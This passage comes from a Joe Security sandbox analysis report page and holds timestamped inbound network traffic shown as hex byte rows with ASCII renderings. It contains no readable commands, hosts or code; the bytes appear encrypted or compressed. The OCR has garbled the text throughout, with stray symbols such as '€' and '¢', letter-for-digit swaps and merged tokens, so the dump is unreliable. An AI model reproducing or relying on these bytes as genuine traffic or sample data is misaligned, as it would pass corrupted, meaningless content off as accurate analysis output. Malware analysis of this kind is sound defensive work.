ee 3d 56 fa 86 6e 95 77 62 9c 22 62 bd 12 88 99 5e 92 87 60 e3 19 62 d4 06 ff 54 49 35 11 58 2d ef 6e 3e 58 21 fe bd 65
7 5e 5f 44 cd 86 28 49 80 30 23 f4 63 2f 71 62 Oe ef 4a af 92 €0 d9 7e 14 4e de 39 75 0a 74 51 Ob ba a2 e6 72 92 b1 76
5c b8 c1 69 f7 37 cf 52 25 8b 4f c1 98 5d 67 da af
Data Ascii: ,0v*|SBpD>m|_iOu:@WzEWa< [BN$mgKT",IluFH-'<T%!{kR"wM=deKB&Z cl)i}]CR%h i5SV=Vnwb"b" bTI5X-
n>X!e?_D(10#c/gbJ~N9utQrW\i7R%0O]g

2021-09-13 23:07:18 UTC 349 IN Data Raw: 2e c1 e6 13 ca d7 cc cd 92 bd e2 8b cd bd 34 1f 87 6b a5 dc 39 ec f8 53 2b 66 99 27 €9 2b 06 14 e6 93 1c 9f 40
bf 8¢ 67 28 ac 98 b8 51 00 03 65 5¢ be 45 94 ¢8 16 8e 38 77 75 97 23 fd f7 d5 29 39 8d 08 09 2b a7 00 dc 61 15 c4 cd 3d
e3 ac 8e 03 d6 88 15 13 de f7 77 35 9d b9 4e 41 d8 eb 29 f7 62 09 4e b7 92 b4 4d 0d e6 c3 70 f3 6¢ 20 d4 97 5d ad df b4
9b 50 20 9f 8a 4c f3 ce 33 8a 83 a2 65 27 97 1c ac 90 55 e8 d1 be 83 1b cc 66 5¢ cd 13 a2 fb 58 9d ed 9e b5 d2 bd 12 7e
38 0d d8 Oe 74 aa 04 66 81 8b bb 22 d6 b0 d1 al 80 ef 54 45 71 0a 9a 7a 17 67 80 ea 92 b8 59 ed 5d 58 c9 ca 54 99 a9
77 eb 39 69 6d 60 fd 31 f9 37 26 2e al 35 64 3a Oc 17 c9 8¢ 44 ee e0 07 5e ¢3 48 0f 3d al 24 14 a4 Oe 3a 45 08 41 2f 30
48 cc b7 Ob ce b8 Oe 86 9b a5 da bb 13 1e 68 cf 29 0d ac
Data Ascii: .4k9S+{'+@g(Qe\E8wu#)9+a=w5NA)bNMpl ]P L3e'UAX~8t"TEqzgY]XTw9im 17&.5d:D*H=$:EA/OHh)

2021-09-13 23:07:18 UTC 351 IN Data Raw: 97 de ff 8f e1 51 29 6e 92 db b8 7 ae 4d c¢7 30 6a 5f ee 1e 12 1e c9 5¢ 81 e6 a5 eb 19 0d 6f 11 49 4a a3 8f 86
8c b6 26 9f f4 32 59 38 c0 71 Ob 92 3c 53 4b bd 0f 91 5d 81 9b b9 8a f2 af a4 ef e5 b4 5e 8d 7c af 65 c7 ca 5e 40 50 3e e7
8a b5 88 1e ae d9 58 1a 18 b5 ac 0f f8 13 b5 3f c6 a3 3b f8 f0 38 d6 76 e4 57 bc a2 af ec 6¢ 4e a4 9a 90 a9 a3 13 96 3f d3
fb c7 1a 10 13 a6 ec 2c d5 Oc 5b ec 9c ac 5d 61 56 b2 f2 6f 6d 1a e0 05 c2 8f fd e2 b4 e8 4a 37 bl f8 b2 c8 0d 47 c3 fa ee
d3 45 68 76 98 5d ef 58 09 b0 65 05 a9 b9 c0 55 d2 23 7e 8b dc c1 69 f3 50 34 86 95 20 ee c8 ed ee 85 ed 1d 87 cc 48 ea
6 be 3f 2c 8f 3f ba 1f 8e af 0a 27 89 6f 1f 40 f5 75 ba 8c b7 5b 9d 77 c9 7d 3e ed 60 4f de 5b ec 7a 6b 45 f0 a4 55 2f 52 3b
3a ef ac cf 93 59 9e 44 33 d6 f0 26 66
Data Ascii: Q)nMO0j_\0lJ&2Y8q<SK]"e*@P>X?;8vWIN?,[][aVomJ7GEhv]XeU#~iP4 H?,?'0@u[w}> O[zkEU/R;:YD3&f

2021-09-13 23:07:18 UTC 352 IN Data Raw: 3f ff ec al cc ¢8 bf 11 ee 9d 63 b0 8f 72 f9 37 c2 38 68 dc 44 6f 1f ab 46 91 1a 49 7c 77 b2 97 1b 19 8b bd af ad
8e fd 73 f2 ¢8 90 Oa cc 05 bc 54 45 ab 69 a4 5e 54 bc 6f 1e 86 72 32 Oc 42 a7 23 57 39 1f ef f2 ae 8d 01 3f Oe 04 32 35 fc
d8 92 62 Oe ae 48 1b 9c b7 5¢ 91 26 d3 67 5e 69 f8 29 7c ef 92 f5 27 1b 9e 85 24 4d ce 23 fe c9 4b 68 b6 64 ae 4a d5 9b
d6 bd 14 a5 9f f9 da 6e ed 93 14 00 5d 82 a0 8a 10 38 c6 7c¢ 35 66 08 ¢3 1d b1 f9 77 f8 d4 51 a8 39 58 82 4b c5 99 1f 52
81 4c a8 b2 91 b0 b0 67 a8 2f dc 7b 15 6d eb 90 8b 8a 53 8d be 6¢ de 60 13 97 8¢ 71 12 23 17 de eb Oe b0 81 fc 94 c9 51
bf 5f c4 7e df d8 df 7c d3 3e a9 46 cd 48 75 33 65 c6 d2 74 1b 13 57 79 12 5d c1 52 8e ca 6¢ a5 90 Oe Ob 18 19 3d 11 82
b1 54 5f 79 fa c4 19 d9 42 58 9a 10 b0 6e €0 60
Data Ascii: ?cr78hDoFI|wsTEi"Tor2B#W97?25bH\&g"i)|'$M#KhdJIn]8|5fwQIXKRLgAMSI' q#Q_~|>FHu3etWy]RI=T_yBXn®

2021-09-13 23:07:18 UTC 353 IN Data Raw: 71 7 5f dc 70 e2 5d 69 25 00 f2 c8 Oc 48 18 8c 87 f4 b6 2c 01 48 a3 fb 48 a8 3f 8d fd 4e 74 8a 4e e5 78 3a bf
d1380b58b3f511d9 17 ebba 5f95 7a d5 e8 29 d3 e2 77 3b 3¢ d0 ¢3 c1 98 28 bf ed 84 67 83 9f 8f b4 05 8c cb 6b 23
98 81 8a 6b bf 97 1f 9e 4a 29 1f 54 42 1b 4a Ob e7 4c 6a a9 66 6b 63 5¢ 59 c4 93 2f 6f 72 67 2¢ 59 a6 59 03 9a 6b 41 el
7e 5756 ed 7a f4 77 b4 dc cf 80 fd 84 a9 02 14 ef 1b 97 bd 4b 61 06 48 e6 62 ce 48 3d 4b d9 1a 5b 31 81 32 54 ¢6 f3 93
69 6e 80 4f 92 a9 a2 9f 05 3e 6f d7 f6 c9 51 05 47 c¢7 1c 26 2b 7b 81 lach 7c a6 7a 92 4e el 9d 63 c8 ed e0 3a 90 29 7c
d7 8f 0f 91 28 7b 62 2a a4 63 eb 6a 85 fd 34 df 7b de e7 ea 73 9d 07 8¢ 9b bf d1 6d cd 5a c1 2b cc f1 98 68 3d 10 fe 5d dO
d4 79 fc 6¢ 14 f5 13 ¢5 f8 22 98 89 59 ef c3 fa 34
Data Ascii: q_pJi%H,HH?NtNx:8X_z)w;<(gk#kJ)TBJLjfkc\Y/org,Y YKA~WVzwKaHbH=K[12TinO>0QG&+{|zNc:)|({b*c
jM{smz+h=]yl"Y4

2021-09-13 23:07:18 UTC 354 IN Data Raw: 53 64 9f f4 43 01 af 7a f8 43 7b 8f 41 ed 07 70 31 4c 98 7f 73 d1 9a 24 82 57 82 49 28 fa 54 24 ac b8 5c e0 51
1b e6 8f f2 27 82 d4 fe fd 68 7 3 bf c0 f9 0Oa 92 f4 58 43 db bl c8 ed 23 29 42 23 8b 79 7e 13 48 b7 61 56 ab 39 d5 b5 d8
b5 29 27 cb 7f ca ff 14 1f b9 41 a9 92 c6 1le 5¢c a5 d7 b4 3d ed f2 52 c9 93 5¢ 33 c0 1f 4f e7 Oc 73 22 12 56 64 b6 42 bc 9d
37399542 19 8e 7c le f5 e7 e5 c4 46 d3 c8 e2 15 04 25 dc ff 9d 9e ca b3 3b df 20 06 7a 69 24 a2 3b b5 0f bd 60 dd f1 a6
39 6b ce 24 34 79 3d c3 e4 80 a7 f1 3f a3 ee 2f f9 f9 ec 9b 21 1a ad 95 d1 b7 ec 1d 5d 74 df c9 98 9a 38 e5 62 b2 d6 66 fb
bc 3c 66 8b 5d 5f b8 24 01 b7 b8 71 14 cc f5 03 11 34 ad 57 98 52 26 e2 a6 d1 34 f7 a3 28 19 5a c8 07 76 6f 65 32 13 ac
81 54 Oa ec 74 f9 35 b6 04 7b 5b 47 56 11
Data Ascii: SACzZC{Ap1Ls$WI(T$\Q'hXC#)B#y~HaV9)'A\=R\30s"VdB79B|F%,; zi$; 9k$4y="2/1]t8bf<f]_$q4WR&4(Zv
0e2Tt5{[GV

2021-09-13 23:07:18 UTC 356 IN Data Raw: 57 02 7b 56 89 e7 bc 36 4c 38 bd 15 7e b7 1e 2f 99 0f 8f aa 39 b3 1f bc 3b 18 5a 64 44 77 96 25 51 71 f1 89 e5
19 0a 31 0f 82 7d 25 84 10 9b cc 54 a2 d6 83 8b 5d 40 59 52 14 dO ¢3 13 35 c3 9b e6 5b c2 33 91 8b 5e f9 01 32 a0 e4 db
5d 25 ad c1 f3 ab 18 2f ec 73 4b 3b ee 48 d6 15 67 f4 88 23 10 83 11 81 a0 43 83 55 4e 99 46 fc 5f 53 c7 7e be e7 1b 3f
8b 00 90 c7 b8 48 d9 el a3 ba ce 58 e6 e7 b3 88 72 8¢ 67 41 el 45 fa 81 00 Ob 8d 5c¢ 8f 25 d2 b6 9f 37 61 8f ¢8 6d 3d 3b
f4 75 d7 6f e3 0a Ob 2d f9 af 1f 34 b7 78 68 ac 69 82 79 71 a3 3a 70 18 e7 ee fa cd 76 cd e4 86 9b 84 b0 08 98 ba d7 71
7c e3d2 76 80 75 07 4d 67 b5 e2 05 48 01 d6 80 5¢c d1 6a dO f1 8f ac 4b 31 8b Oc 54 98 b2 71 63 41 15 €6 f3 ba f4 €5 18
8e dc b2 67 de 92 09 6f 6f 17 0d 07 47 ae fO eb dd d8
Data Ascii: W{V6L8~/9;ZdDw%Qq1}%T]@YR5[3"2]%/sK;Hg#CUNF_S~?HXrgAE\%7am=;uo-4xhiyq:pvg|vuMgH\[K1TqcAg
00G
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 357 IN Data Raw: ch a7 6b bb e9 6e 55 f6 6a 86 47 dc 01 4a 20 16 f5 6b 68 4a 85 ac 32 b6 4d 47 08 34 c5 el 57 2b dc da 82 14
8acfeb ed 3cal 46 af 70 c1 53 a9 ba e6 73 f3 02 91 13 f0 56 bb 4e e0 2c 60 3c b5 20 ce e3 ac 1a b2 3f d5 65 91 b4 5f
69 e6 21 64 f1 2c 68 c6 20 b6 5f 92 {5 32 fe 2f 13 ae ca 93 72 99 db fb 22 d6 a6 dc 19 5a fd 1a 1b 53 2f 32 Oe 50 22 6a 6b
b4 00 Oe 05 a3 8d f3 7a 52 5e el 32 ac 2a 89 d8 5a 28 bc 19 d8 el 4f fb 9d 91 22 11 cd 28 65 d8 eb 91 53 0d 9c c2 1f 1a
5a 2d 64 b8 1d 9a 60 82 ed 65 c7 3e 9c c0 a6 f1 6¢c d5 21 9e 91 68 eb 50 fe a2 46 c9 7f 73 d1 64 a4 41 el b0 53 bc 44 81
fcd5 a4 61 17 8d 67 68 cb 65 bc 28 42 27 bf b1 2d a7 59 08 26 13 67 c1 69 66 6f 90 59 c4 88 e3 l1a df 23 08 f5 d9 05 70
1f 04 a8 06 b2 3c 15 93 2a 3b 24 55 fa c8 52 97 d1 50
Data Ascii: knUjGJ khiJ2MG4W+<FpSsVN, < ?e_ild,h _2/r'ZS/2P"jkzR"2*Z(0"(eSZ-d e>I'hPFsdASDaghe(B'-Y&g
ifoY#p<*;$URP

2021-09-13 23:07:18 UTC 358 IN Data Raw: 4a b7 7d bd 63 d3 54 3b 32 90 85 92 11 bd dc c5 14 c7 fa 31 b4 db a6 af ee 10 8d 91 48 b7 b2 8e a2 11 9f 6b
€9 b4 c0 52 53 61 55 93 46 c6 80 fe 4f e5 a2 7d fa ef f0 01 1b 4b 76 46 b1 f1 65 4c a0 16 72 b4 0f b7 c6 €0 d9 43 95 00 e
f0 29 ¢5 10 a2 €9 88 c6 03 9a d3 09 71 c1 4a 06 50 5f f6 b5 be ea 00 6a ab de b5 95 94 9c¢ f9 11 ¢5 35 90 96 44 1e 43 01
63 6d 1a 89 4b 60 ba 8c 89 2f 93 ca f2 9f d6 3f 41 fa f2 1d 14 eb 4f 29 2c 1c 05 bb ba f2 bc 8c b2 d7 ea 05 95 bd 5f 23 7d 71
aa 34 25 8f 20 56 35 2b 5b 75 e6 €5 e2 d9 8b b8 d9 ed d8 f2 a2 3c 11 17 c9 6¢ 4c da 40 ef al 3c 8e 4e 89 78 90 d5 98 90
61 d0 c5 ad 25 Oe 4b 2c 03 80 0d 92 56 e8 bf d4 aa bd 9f 8a 97 f9 9f 96 ac 79 e7 00 71 09 2d 73 10 b3 83 f3 7a 76 aa 30
7e a3 48 02 eb Oe 1le c0 04 5d 72 72 92 a6 ec 51
Data Ascii: J}cT;21HkRSaUFO}KvFeLrC)qJP_j5DCcmK’/?A0), #}4% V5+[u<IL@<Nxa%K,Vyq-szvO~H]rrQ

2021-09-13 23:07:18 UTC 359 IN Data Raw: ee 5d 11 al 53 53 17 56 8e e7 b9 df 65 71 c0 99 6a 02 ff ac ca d8 eb e5 dd ff 51 33 a9 a5 5a 21 ef e5 06 d1 57
80 a7 ee 82 2d dO ff db Oa 6¢ 5¢ 47 bb 93 f3 5e 0a 10 ac 18 47 e6 b2 ff 22 84 aa 2a d9 0a 75 d0 fd 7c 40 d7 2c 8b 95 e9 4f
8f fe d1 6b 92 26 3d 73 ee 2f 27 c1 91 d7 d2 46 ee 2c fd f2 d9 5b b9 82 1c 1e 49 4c cc 76 80 06 21 Oe 04 Of 7e 95 f2 db 25
79 e3 a6 e9 01 ce 95 63 f1 3e f6 Oc 29 7e a9 28 08 d3 4c 2b 5b f4 a8 95 8b bd dc 59 77 23 el af 23 6b d0 5b 5e 3c f6 58
4b 91 45 f0 74 8b 83 2c 26 42 63 3a 46 1f a7 79 ff 00 82 c3 d3 5b 69 b6 7a 4b 1f b5 ac d1 cd 7f a8 ef 36 dd 5b 63 a2 3b 9b
ed de 5f ¢3 7a 30 d5 a3 1d e7 07 82 22 d2 5a 31 bf c3 4e fc 93 24 a6 3 c0 84 56 89 b5 84 59 7b c7 42 4c 9f 67 18 a2 c6
64 fd df 88 d9 e2 ce 81 25 e8 99 3a 46 e2 fe
Data Ascii: ]SSVeqjQ3Z!W-\G"G"*u|@,0k&=s/'F,[ILvI~%yc>)~(L+[Ywi#k[ < XKELt,&Bc:Fy[izK6[c;_z0"Z1N$VY{BLgd%:F

2021-09-13 23:07:18 UTC 361 IN Data Raw: 6b 41 98 98 Oe a8 25 45 0f b1 32 eb 58 9f aa 74 04 28 7e fe 69 a4 5f 58 6b 0b 16 79 46 a6 30 06 b8 37 43 d4
55 a8 ce Ob 39 8c 62 25 e0 8¢ f9 37 d8 85 03 1e 5d b7 dc 9c 92 9c cf 7b 8 34 1f c2 8¢ 9e 10 ad 09 42 92 d8 15 7a 1b ca
4a b0 2f 9d 1d d7 f2 92 5¢ 38 13 1a 62 55 5f 1d 68 f9 61 76 de 71 1b a6 5d a4 60 d3 90 ce 7b 70 el 38 83 a4 9d dc 1c 89
07 72 87 c0 04 55 7e de b1 01 ec 51 cc 1c bf 28 ¢9 71 f6 e4 e7 cb f8 eb 00 1c 60 76 €7 c5 1e 49 9d 51 3a 24 96 67 f9 c3
19 2c¢ f6 c1 60 4b a4 39 f3 96 cc a9 50 93 dd 7 97 c4 54 60 98 €9 ba 8b 84 01 61 31 18 a9 14 2d 80 a9 9a 18 f5 d2 b5 e8
€3¢0 24 69 05 4c 24 c5 6d 5d ca Oe 72 19 dc 3c ¢8 59 21 1d Oe 6a d9 ac 6¢ 87 28 4a a7 27 ff b8 db 80 85 6a 2c a6 30 01
7 cO ce 13 84 97 20 Oe 45 ec 92 c6 bc b9 30 94 ab 29 05
Data Ascii: KA%E2Xt(~i_XkyFO7CU9b%7]{4BzJ/\8bU_havq] {p8ru~Q(q vIQ:$g, KOPT al-$iL$m]r<Y!jl(J'},0 EO)

2021-09-13 23:07:18 UTC 362 IN Data Raw: a4 3e 57 73 ef 8d 9a 1c 83 5a 10 28 9e 96 01 2e 02 55 eb 27 b1 74 5¢c 19 ac 1e 59 de d0 47 6b ee 39 45 el 11
99 85 29 Oe 20 9c 4c c9 f7 22 b0 Ob 7d 6b 81 31 53 ab 7f 1b 59 54 el f8 b3 81 06 36 40 fd de ca c1 1d 99 c8 9d 10 4f al
00 37 c1 d5 95 6f df Ob fO e8 f1 58 80 54 61 45 af ¢5 18 04 d3 88 22 a9 d9 b2 84 29 11 38 bd 4c 4d 32 53 1f 4b 6e 8c 55 96
26 9e fa 81 23 0a b1 31 97 69 66 35 20 66 76 9f 80 ee bb 78 b5 76 da f8 aa 47 da 5b 26 43 00 40 a2 9c fc d3 4e 2b bl d2
c7 00 58 4b 41 Oc d8 8a ac 40 cc d9 8f dc d0 63 a0 60 24 e9 59 1b b2 a2 12 97 a2 dd a4 7d d4 5e 84 40 39 5b 5b 0d 65
8d d4 b8 c9 cd f5 d1 46 96 d6 13 6¢ 90 b6 6e 1f b2 45 fa b2 fa 8d 02 c8 01 70 28 c9 73 e4 a6 ca 49 86 41 a7 14 ed el fc
ad 8b 75 aa d8 fb 26 c0 dc 95 60 b0 fe 8f 1a 89 bd 8a 76
Data Ascii: >WsZ(.U'\YGKIE) L"}k1SYT6@O70XTaE")8LM2SKnU&#1if5 fuxvG[&C@N+XKA@c $Y}*@9[[eFINEp(SIAU& v

2021-09-13 23:07:18 UTC 363 IN Data Raw: 51 cc a4 65 4c ae 8e 75 a3 2f 5a bd 5e 65 ae ed 3c 44 3e 43 Oe cf 24 4e bb 30 ee b2 fa fa 5f 39 cd 60 08 35 ca
4f c9 af 56 1a 28 cb 89 01 87 54 e3 d2 3b af 4c 24 b3 b4 46 12 c9 ab b2 f4 b9 ed 7d e9 2b 2c 54 28 f6 6¢ a5 90 Oe Ob 13
7b 40 ba 1d 06 df 2b e2 42 1d e2 85 1a Ob 4e 7a d2 08 65 f5 21 a2 56 b8 86 43 85 c8 69 a8 07 85 3e c6 75 13 94 17 1f 85
31 7c db f7 b0 Oe 30 c6 ec 2e ¢6 59 2c ¢4 c6 04 bd 2 f2 c1 66 46 a3 26 3e 26 55 ea b4 7c e4 43 06 e5 Of dd fe 53 05 55 68
d5 22 21 a4 96 €7 72 6d 67 7a 66 c2 €3 2b 51 16 4a eb f4 a7 64 c0 48 98 d3 82 f9 80 fe 86 33 eb 32 1a cf 35 ff 70 f4 de 53
80 92 5e 78 82 c3 Oe a4 f4 5b 25 d8 el e4 ee 6a ff 27 29 a4 88 07 49 bf 66 b6 13 2a 04 9d 25 25 43 25 9b b2 8d d8 d4 99
le 42 9b 29 08 ac a9 1a a3 30 10 38 be 1b 24 04
Data Ascii: QeLu/Z*e<D>C$NO_9'50V(T;L$F}+,T({@+BNze!VCi>u1|0.Y,fF&>&U|CSUh"Irmgzf+QJdH325pS"x[%j')!
%%C%B)08%

2021-09-13 23:07:18 UTC 365 IN Data Raw: 36 9b 3b f2 71 a1 30 01 36 78 86 32 ac 52 99 ce 81 b7 af 06 7b ed d8 Ob 6d 06 16 al ba ed 1d 4b €3 45 94 c6
38 1b 74 40 9b a9 b6 d7 24 65 de 4e 17 da 9a 90 42 48 50 93 65 8a b4 2e 39 80 74 cd 94 1b 22 d5 15 c1 d4 1c 84 c5 63
28 20 €2 50 5b 6a 3f e1 69 97 aa 5b 46 37 4c 83 81 08 ac {7 9a da f3 94 da 4b 18 54 89 83 9b a8 2b 16 af 75 8f el df 94
cd 3f 9c 6a ea f8 c8 9e c6 22 04 97 d6 4 8¢ 6f 0 13 51 bc 69 98 62 b4 1a 33 32 e3 ad 5a 9b 65 ¢5 70 15 84 8e 7b b8 82 cc
f4 8d a9 74 60 82 97 €6 el cO0 3f 94 a5 3 38 72 64 d7 29 df ef d6 €6 bb 26 88 df 27 60 7c f6 b3 9 bb 15 44 30 b1 91 cO ca
41 43 4cb7 13 1d ¢3 el 17 03 97 9e 7¢ b5 Oc Ob 94 b4 5 64 bd b9 45 Oe 5f 9c 08 05 13 14 af 91 7d 29 8a f4 01 7c 8b ac 5¢
5¢ bf 43 b9 f2 ec 1b 2e 7a 21 77 Ob 2a 17 5 b 5b
Data Ascii: 6;006x2R{mKESt@$eNBHPe.ot"c( P[j?i[F7LKT+u?}"0Qib32Zep{t ?8rd)&"|DOACL|dE_})|X\C.zIwH{

2021-09-13 23:07:18 UTC 366 IN Data Raw: de 60 69 €7 7b 67 bf bf Ob €8 a6 cb ee 80 90 04 11 31 11 e0 85 ¢5 91 98 34 46 3e 67 f0 28 a6 3f df ca f4 68 83
ee a9 54 ca 9a ed 9f ef €3 63 85 99 a4 5b 19 41 32 1d 51 16 bc 03 08 87 de 15 cd 6f Oe 1b ba 80 9e 5c bb 7f 6d 2b 68 d1
5e 8f d1 46 ac 23 d5 8d 09 fd 23 8d 69 2d €0 4b 9b Oe 06 11 ¢3 37 d5 fc 18 86 8a 39 83 cf 0a c6 8¢ 3f 66 9d df 2 f3 96 83
22 52 5d 3b ¢6 cd 56 4b d0 60 e3 6e b8 c9 e7 36 6e 6d 42 c2 ee 90 a8 05 e7 19 64 18 14 e3 1f db a2 ee 1d €0 fe 18 5a 30
d3 66 2d 3a 23 15 6 ff 77 13 a6 15 3e 7c a6 7 0b f5 42 36 15 a2 4d cf 1e al 18 85 e6 e6 ec 59 6f 58 1a f0 2d 14 7¢ 50 93
a9 2d 0d 00 d7 85 80 a6 04 4b 41 c7 e3 ff 5e aa 7e ¢9 01 99 bd f1 25 6e bf 75 59 84 a7 75 d4 d7 3f 56 Oc ad dd 35 13 d2
a2 4e 7a 85 42 83 e7 98 bd 41 88 5d 56 b6 a9 52
Data Ascii: “i{g14F>g(?hTc[A2Qo\m+hAF##i-K792f"'R];VK n6nmBdZ0f-#w>|B6MY 0X-|P-KAN~%nuYu?V5NZBAVR

2021-09-13 23:07:18 UTC 367 IN Data Raw: 8¢ d7 6e 06 fe 05 ae f9 e8 68 60 3f 97 80 83 94 e8 79 6e al 3a 70 04 fO Ob e2 32 03 4a 4e 07 10 a8 c0 9d 6d
1d 32 8c 2d d6 65 3 94 23 07 f4 18 92 e7 d8 e7 fO ce 80 63 d1 9f 91 8a 4d fa ce 2a a8 58 1a 2f 4d ¢7 80 6b 81 db 23 17 35
€8 0a 7a ad 9a 92 5d 0f 0a 94 93 60 8e 3e 79 45 f9 81 2f bd f8 Oc 60 d6 33 b2 2c c1 7d cd e9 3b b0 77 22 53 20 c7 fa 69
9b 5e 52 61 48 1a fc 8e d2 bl 81 fa cc c7 4e aa b2 cl eb 2b fc el 0d dd 2c¢ f8 37 4d 7b fb 87 92 a0 1c 39 7a 63 90 fO d6 b2
fa 61 b0 4e 98 15 39 7a 62 29 ea 8d cd 83 a4 b0 2a 80 3e 73 88 2e 24 65 7d 24 3d Oa 9b f3 f1 8f 8 Ob 01 Oe 8d 7a c4 75
c0 f5 f9 b2 6 9c 3b af 82 39 c6 9¢ 7b 00 00 65 78 26 77 ef €8 03 2f 45 98 db 91 7 bb 6 da 3c fe 34 75 54 08 3f 22 a0 1d
46 fe bf d2 f8 3a 20 77 ab 23 74 41 4e 06 f0O 7a
Data Ascii: nh*?yn:p2JNm2-e#cM*X/Mk#5z] >yE/"3 };;w"S i"RaHN+,7M{9zcaN9zb)*>s.$e}$=zu;9{ex&W/E<4uT?"F: w#tANz

2021-09-13 23:07:18 UTC 368 IN Data Raw: 7d 8f ad ed 56 22 03 4e f1 b1 d6 06 8a 51 43 8b b7 76 f9 08 ac 4a 3b 73 72 0a e7 cd 72 18 b4 67 e3 ae dd 8a
74 45 92 12 42 53 6e bf 7d ec 6¢ 75 0a 65 6a c1 53 fO c6 03 af fa 04 6f 3f 98 e5 8 26 5e 23 51 fa 7c 6b 23 6a dd 73 e5 74
7b f2 1f 8e c2 8d 7e a5 11 c2 d0 41 43 3f b2 44 0d 1e 9c 2f e0 fa bc 93 03 31 43 Oe bf b3 e6 9a 39 42 80 21 58 a2 85 fb 00
2f 97 2a 96 96 10 ad 02 df 88 43 Oe 18 7b 1b c8 63 €7 80 b4 59 5d 57 2c ec b9 5e 69 70 af 4f d2 77 90 e0 54 7c cl 4c 4 f2
€0 d5 09 66 40 53 a5 aa b1 21 38 ef 50 74 85 ce 2e 5b 13 11 4e 51 14 2c e7 fd 57 9e 4d 22 3e 81 cc 3f 6a 73 09 02 91 64
54 da e0 36 40 c0 3e c6 8a c5 fh 25 5e 1d d2 77 32 96 90 57 64 ce ce e2 65 3d 73 el 02 aa 26 10 05 53 c4 7d da 52 8d le
f7 ac 52 49 00 75 56 bf 11 29 61 d0 3b 9e 13 ce
Data Ascii: }V"NQCvJ;srrgtEBSn}HuejSo?& #Q|k#jst{~AC?D/1CIB!IX/*C{cY]W, NipOwT|Lf@S!8Pt.[NQ,WM">?jsdT6
@>%"w2Wde=s&S}RRIuV)a;

Copyright Joe Security LLC 2021 Page 71 of 91



kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 370 IN Data Raw: 1e c1 €5 07 9d d0 2d 7b 2b 4d 75 19 90 05 57 4b 24 cf fd db fO 5d 2e 90 d1 8c 26 cf 7a 10 ec c7 07 b9 b6 6b
2979 cd ad 1f cb 17 b2 07 a6 32 b7 8e c0 c5 fd 6¢ d0 21 56 fe 32 b2 29 e4 87 ed €9 89 e5 cd e4 48 c4 ea d5 fd 55 43 08
f0O 16 66 f7 f3 70 9c 68 81 08 3a 33 df 3e d0 69 3f ae fO 9e 69 38 1d 3d a6 dc 3c fe 36 71 8f 95 57 fa 25 eb b0 37 22 9e 4d
4210 35 10 13 63 7d 39 2d 37 fb c6 5¢ 4b 4c 8a 47 e7 84 d5 d1 5d 84 92 5¢ 79 8f 26 8c 60 Of 46 cc cf 8a ed 9b ce 56 8e
4e e2 439134 c2 3e f0 14 82 18
Data Ascii: -{+MuWK$].&zk)y2I!\V2)HUCfph:3>i?i8=<6qW%7"MB5c}9-7\KLG]\y& FVNC4>

2021-09-13 23:07:18 UTC 370 IN Data Raw: Of 4e 69 6¢ Ob 9a a0 61 96 fd 3e d1 5c de 59 69 1d Of 6b d9 b1 f2 c7 48 Oe 5a 22 25 bb 6d 45 a6 94 0d 28 b6
89 e2 95 b7 1c 22 57 a3 65 46 6a 90 ef 7b 00 0f 9a e3 fe 96 08 af 13 ff el f0 fe 4e 48 Oc 42 2a 1c e5 57 ca 8b 78 60 84 c5
91 1b 51 06 db ef 84 1e a5 b5 9a dd f2 68 b5 3a 6¢c 94 2a 31 ¢7 e4 2b 57 16 4a 35 el a7 64 c¢8 7c 17 92 52 09 50 72 6a 58
15 62 97 65 8e af fd b7 4d bb d7 e1 52 f5 c1 96 e4 5¢ b1 03 2d 54 15 b2 09 a0 fa 41 a0 2e c8 d1 8¢ 92 f2 49 60 22 61 86
2e 8a b3 cal7 1a 8d 23 be 66 el 9f 02 d8 el 5d 14 e5 f3 19 d0 5e ec 99 b6 35 32 b9 c9 cd 31 6e 72 b2 a6 ce 08 03 cb d3
70 78 8b 01 14 72 7 b8 ff 27 de e7 3 57 fc 38 f0 83 c2 3e Oe b4 {7 fa 53 6f a3 ea 4a 2b 04 b5 49 fd 11 bd 01 b5 a2 eb 8d
61 f8 5f 29 d4 4d 4e Oc 96 e5 Oc 59 7c 25 e0 fb c6
Data Ascii: Nila>\YikHZ"%mE("WeFj{NHB*Wx  Qh:I*1+WJ5d|RPrjXbeMR\-TA.I "a.#{]"521nrpxr'W8>SoJ+la_)MNY|%

2021-09-13 23:07:18 UTC 371 IN Data Raw: 12 46 a2 b1 c5 76 b6 58 5b 7b 1d 2d 7f 39 56 a5 05 c4 03 d1 63 01 55 ed c9 73 e0 a6 36 40 b5 c5 0d 1b 3e ee
€895 49 08 69 5¢ 32 c6 4a 9d 9d c7 17 c2 8b 12 6e ca 44 c7 aa cc 8d f7 Ob 2d 19 56 1f 20 4b 3b 42 b2 6e 6b a0 ec d6 84
0d b8 0d 0a f4 4e 50 a9 3a 33 10 e8 al 16 91 61 97 97 b2 1e 1c 87 98 89 73 9b 73 dc 6¢ b5 2e fc 5 80 72 d2 95 bf 8a 5¢
8 cf 33 8a 28 ab 12 65 1b 4d ca 15 6b 6b fc 9c 6e 94 ef 1a 61 30 61 ea 01 6b 6d 9f cO 38 84 55 72 87 e2 7f aa 0d 60 58 fb
4971 02 1d dc 9d a6 d7 25 b5 ec a9 39 12 eb e7 c¢2 41 9e 1c 95 91 46 d2 b4 89 4f dd 37 8f fe bf 19 3d c6 73 c5 27 04 da
04 c8 27 86 ac 85 a4 6b d9 91 84 9f cf 7b 99 ea 22 41 53 ¢5 11 52 c8 c5 1a 4b 47 9e a5 44 7b 72 93 5¢ 50 df 56 ba 93 3e
a9 ab b9 51 14 a5 9f 85 12 87 27 19 68 3f fa 82 3d 77
Data Ascii: FvX[{-9VcUs6@>1i\2JnD-V K;BnkNP:3assl.n3(eMkknaO0akm8Ur XIq%9AFO7=s"k{"ASRKGD{r\PV>Q'h?=w

2021-09-13 23:07:18 UTC 372 IN Data Raw: 2c 92 5e 0f 91 5e 65 le 47 ac 2b e5 10 14 95 8a 3f 47 6¢ 69 bb f1 e4 45 be 5e 29 90 76 27 5a 85 15 16 6a 96
24 b7 c6 44 c3 1b c2 2f Oe dO 00 93 5d 33 16 b0 ce 2a 09 7b 10 90 fd 22 9d 8¢ 47 ¢5 36 39 2a c5 1b 7a 73 d7 31 6a 4f 72
4f 2¢c 22 3c 1e 47 72 67 47 4a 58 3d bc ¢4 7b 4c d8 05 a4 6f a3 69 8e 5d 67 94 18 15 el 49 bc 52 a2 32 7b d8 04 74 10 92
